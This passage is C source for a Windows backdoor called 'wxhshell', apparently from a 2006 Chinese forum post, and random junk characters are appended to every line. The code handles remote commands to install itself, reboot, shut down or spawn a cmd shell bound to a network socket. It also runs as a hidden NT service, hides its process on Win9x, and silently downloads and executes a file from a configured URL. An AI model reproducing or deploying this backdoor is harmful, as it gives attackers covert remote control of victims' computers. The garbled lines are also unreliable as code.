  // 帮助 *6wt+twH  
  case '?': { 5Ve T8/7Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \# _w=gs<i  
    break; AvcN,  
  } IoCi(N;  
  // 安装 @a}\]REn  
  case 'i': { ;<H\{w@D  
    if(Install()) ki ?ETC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9+!"[  
    else u}|+p+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {-l:F2i  
    break; 3M"eAK([  
    } j/, I)Za  
  // 卸载 h| N!U/(U  
  case 'r': { _n+ 5{\z  
    if(Uninstall()) {YIf rM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H|z:j35\  
    else /TScYE:$HE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^]TYS]C  
    break; j[|mC;y.  
    } ~m&q@ms&  
  // 显示 wxhshell 所在路径 /-Y.A<ieN8  
  case 'p': { g]9A?#GyE  
    char svExeFile[MAX_PATH]; /3o@I5  
    strcpy(svExeFile,"\n\r"); aA=7x&z@  
      strcat(svExeFile,ExeFile); Gg3< }(  
        send(wsh,svExeFile,strlen(svExeFile),0); J_d!` Hhe  
    break; 8B;HMD  
    } )|B3TjH C  
  // 重启 kqZ+e/o>O9  
  case 'b': { ~IQw?a.E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZDr&Alp)o  
    if(Boot(REBOOT)) W+BHt{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P vW~EJ  
    else { cm`x;[e6l  
    closesocket(wsh); F!cRx%R  
    ExitThread(0); Z`x*Igf8  
    } /^':5"=o  
    break; %Wa. 2s  
    } _$m1?DZ  
  // 关机 =-;J2Qlg6  
  case 'd': { L+Q.y~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c4iGtW  
    if(Boot(SHUTDOWN)) c52S2f7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dCO)"]  
    else { gUrXaD#  
    closesocket(wsh); a[7 Lqu  
    ExitThread(0); lO=~&_  
    } h`pXUnEZ  
    break; iJ p E`  
    } _e$T'*q  
  // 获取shell q]wP^;\Jl  
  case 's': { GI)eq:K_U8  
    CmdShell(wsh); S\ ) ~9?  
    closesocket(wsh); "U*6?]f  
    ExitThread(0); lH"4"r  
    break; V]P%@<C  
  } VP_S[+Zv~  
  // 退出 qx`)M3Mu|<  
  case 'x': { f~{4hVA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !1xX)XD4y  
    CloseIt(wsh); M5c~-}Ay  
    break; UJk/Lxv  
    } -P-&]F5  
  // 离开 -P We  
  case 'q': { ,m1F<Pdts  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jn+BH3e  
    closesocket(wsh); Bb*P);#.K  
    WSACleanup(); -}9>#<v  
    exit(1); ~ }?*v}  
    break; X^)v ZL?  
        } Y1 *8&xT  
  } Kd;)E 9Ti  
  } ^'Qe.DW[  
aLO'.5 ~^  
  // 提示信息 Gk]6WLi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tlcNGPa  
} 5'S~PQka*  
  } d< b,].  
[6f(3|"  
  return; {R}Kt;L:Ut  
} E[2xo/H  
l G $s(  
// shell模块句柄 #SqU>R  
int CmdShell(SOCKET sock) 1[4 0\sM  
{ PEPf=sm  
STARTUPINFO si; v-!^a_3Ui  
ZeroMemory(&si,sizeof(si)); Og<nnq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A_2oQ*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L<Q>:U.@\  
PROCESS_INFORMATION ProcessInfo; )GR4U8<>g  
char cmdline[]="cmd"; TcOmBKps'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @y(<4kLz  
  return 0; CC,CKb  
} DgODTxiX  
N~+ e\K6  
// 自身启动模式 < m/@_"  
int StartFromService(void) 10{zF_9yx  
{ )=%TIkeF  
typedef struct :Hq#co  
{ Ih^ziDcW  
  DWORD ExitStatus; Q<T+t0G\O-  
  DWORD PebBaseAddress; tWaM+W  
  DWORD AffinityMask; FS7@6I2Ts  
  DWORD BasePriority; oP_}C[  
  ULONG UniqueProcessId; ?C(3TKH  
  ULONG InheritedFromUniqueProcessId; Zk> #T:{h  
}   PROCESS_BASIC_INFORMATION; B;c2gu  
 C^*3nd3  
PROCNTQSIP NtQueryInformationProcess; k%%0"+y#a  
yhh\?qqy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z~Is E8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  |: ,i  
fzjAP7 y  
  HANDLE             hProcess; GEtzLaq<  
  PROCESS_BASIC_INFORMATION pbi; M6XpauR-  
\`Ow)t:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T':} p2}w+  
  if(NULL == hInst ) return 0; !U4<4<+  
% 9} ?*U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AI#.G7'O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "I0F"nQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q6EZ?bo{  
FgnPh%[u  
  if (!NtQueryInformationProcess) return 0; "-R19SpJKh  
0$=w8tP)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4~~G i`XE  
  if(!hProcess) return 0; 1Uk Gjw1J  
D|D) 782  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >b2wFo/em  
S(PU"}vZy  
  CloseHandle(hProcess); 'w?}~D.y  
5F$~ZDu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HUalD3 \  
if(hProcess==NULL) return 0; 'g:.&4x_w  
0bl8J5Ar5  
HMODULE hMod; D.*o^{w|  
char procName[255]; GS+Z(,J>=  
unsigned long cbNeeded; 74fE%;F  
QE+HL8c^s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L~{3W  
W]I+Rlv)U  
  CloseHandle(hProcess); Wgb L9'}B  
@G^m+-  
if(strstr(procName,"services")) return 1; // 以服务启动 Hv-f :P O  
Dbw{E:pq  
  return 0; // 注册表启动 D\^\_r):  
} hw2Sb,bY  
Zmz $ hr  
// 主模块 7UsU03  
int StartWxhshell(LPSTR lpCmdLine) #j4RX:T*[  
{ &vN^ *:Q  
  SOCKET wsl; #:s*Hy=  
BOOL val=TRUE; dU&hM<.|  
  int port=0; 98XlcI#  
  struct sockaddr_in door; 7x#."6>Dy  
i,!tu  
  if(wscfg.ws_autoins) Install(); Kp>fOe'KW  
K#LDmC  
port=atoi(lpCmdLine); FK~*X3'  
65U&P5W  
if(port<=0) port=wscfg.ws_port; L\xR<m<,  
<+_WMSf;4  
  WSADATA data; SAhk`_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *K;s*-|U  
Igh=Z %  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y3O/`-9i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rw.DKM'  
  door.sin_family = AF_INET; rIeOli:<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LC})aV|  
  door.sin_port = htons(port); |p`}vRv Uh  
nQ#NW8*Fs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZoR6f\2M  
closesocket(wsl); { t@7r  
return 1; 6[Wv g  
} DLO2$d  
Ie(M9QMp  
  if(listen(wsl,2) == INVALID_SOCKET) { cC]lO  
closesocket(wsl); Q!{,^Qb  
return 1; ?*&5`Xh  
} a+<{!+3v  
  Wxhshell(wsl); sp6A* mwl  
  WSACleanup(); EbnV"]1  
<=]:ED $V@  
return 0; )yUSuK(Vu  
95sK;`rE+  
} 3|BB#;  
+NTC!/  
// 以NT服务方式启动 M8${&&[;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t8.^YTI  
{ Bdm05}c@u  
DWORD   status = 0; cnB:bQQK8  
  DWORD   specificError = 0xfffffff; gWfMUl  
WHcw5_3#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v;(k7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bMGXx>x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yH0vESgv  
  serviceStatus.dwWin32ExitCode     = 0; S]?I7_  
  serviceStatus.dwServiceSpecificExitCode = 0; 5%"sv+iO  
  serviceStatus.dwCheckPoint       = 0; m8Rt>DY  
  serviceStatus.dwWaitHint       = 0; $Y[C A.F  
eC`G0.op  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k,61Va  
  if (hServiceStatusHandle==0) return; 6*:U1{Gl)  
Pr3>}4M  
status = GetLastError(); .V@3zzv\  
  if (status!=NO_ERROR) 814cCrr,o  
{ |#zj~>7?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5=Il2  
    serviceStatus.dwCheckPoint       = 0; A().1h1_k  
    serviceStatus.dwWaitHint       = 0; B z? (?fyd  
    serviceStatus.dwWin32ExitCode     = status; [JKLlR  
    serviceStatus.dwServiceSpecificExitCode = specificError; =g$%jM>35  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cToT_Mk  
    return; ^bECX<,H  
  } iN1_ T  
_Uhl4Mh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kV4,45r  
  serviceStatus.dwCheckPoint       = 0; "] ]aF1  
  serviceStatus.dwWaitHint       = 0; ~0rvrDDg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6L3i   
} NXOcsdcZu  
;)z+dd#3  
// 处理NT服务事件,比如:启动、停止 JZ/T:Hsh4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /%TL{k&m$  
{ ?~<NyJHN%  
switch(fdwControl) ]{18-=  
{ x!fgZr{  
case SERVICE_CONTROL_STOP: Esf\Bo"  
  serviceStatus.dwWin32ExitCode = 0; T=':$(t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gw<u dhk  
  serviceStatus.dwCheckPoint   = 0; P>'29$1'  
  serviceStatus.dwWaitHint     = 0; lQpl8>  
  { D&1(qi=x&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]xPy-j6C  
  } ^G NL:D%6d  
  return; 36}&{A  
case SERVICE_CONTROL_PAUSE: V0xO:7G^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,,;vG6^a  
  break;  NG?g(  
case SERVICE_CONTROL_CONTINUE: T>w;M?`9K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Yf=)  
  break; cC9haxW  
case SERVICE_CONTROL_INTERROGATE: DK1{Z;Z  
  break; %rO)w?  
}; .:=5|0m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rN'}IS@5  
} \{= {{O  
w{ P l  
// 标准应用程序主函数 av~kF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cXK.^@du  
{ p MR4]G  
" :V@AT  
// 获取操作系统版本 }brBhe8a  
OsIsNt=GetOsVer(); 0B"_St}3D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w!OYH1ds]_  
uCc5)  
  // 从命令行安装 &.JJhX  
  if(strpbrk(lpCmdLine,"iI")) Install(); vJ e c+a  
gUme({h&|  
  // 下载执行文件 oiQ:&$y  
if(wscfg.ws_downexe) { 'q l<R0g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XW:%YTv  
  WinExec(wscfg.ws_filenam,SW_HIDE); BOv^L?)*Z  
} WQMoAPfqL  
zN/nKj: Q  
if(!OsIsNt) { B^/(wHBp  
// 如果时win9x,隐藏进程并且设置为注册表启动 R,8T t!n  
HideProc(); PsBLAr\ah  
StartWxhshell(lpCmdLine); u24XuSe$  
} -_bDbYL  
else S7j U:CLJ  
  if(StartFromService()) \zhCGDm1_  
  // 以服务方式启动 ;f /2u  
  StartServiceCtrlDispatcher(DispatchTable); )*&61  
else NG: f>R  
  // 普通方式启动 e^UUR-K%  
  StartWxhshell(lpCmdLine); 9r ](/"=f  
ysFp$!9Ux  
return 0; %- Ga  ^[  
}
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只看该作者 1 发表于: 2006-10-10
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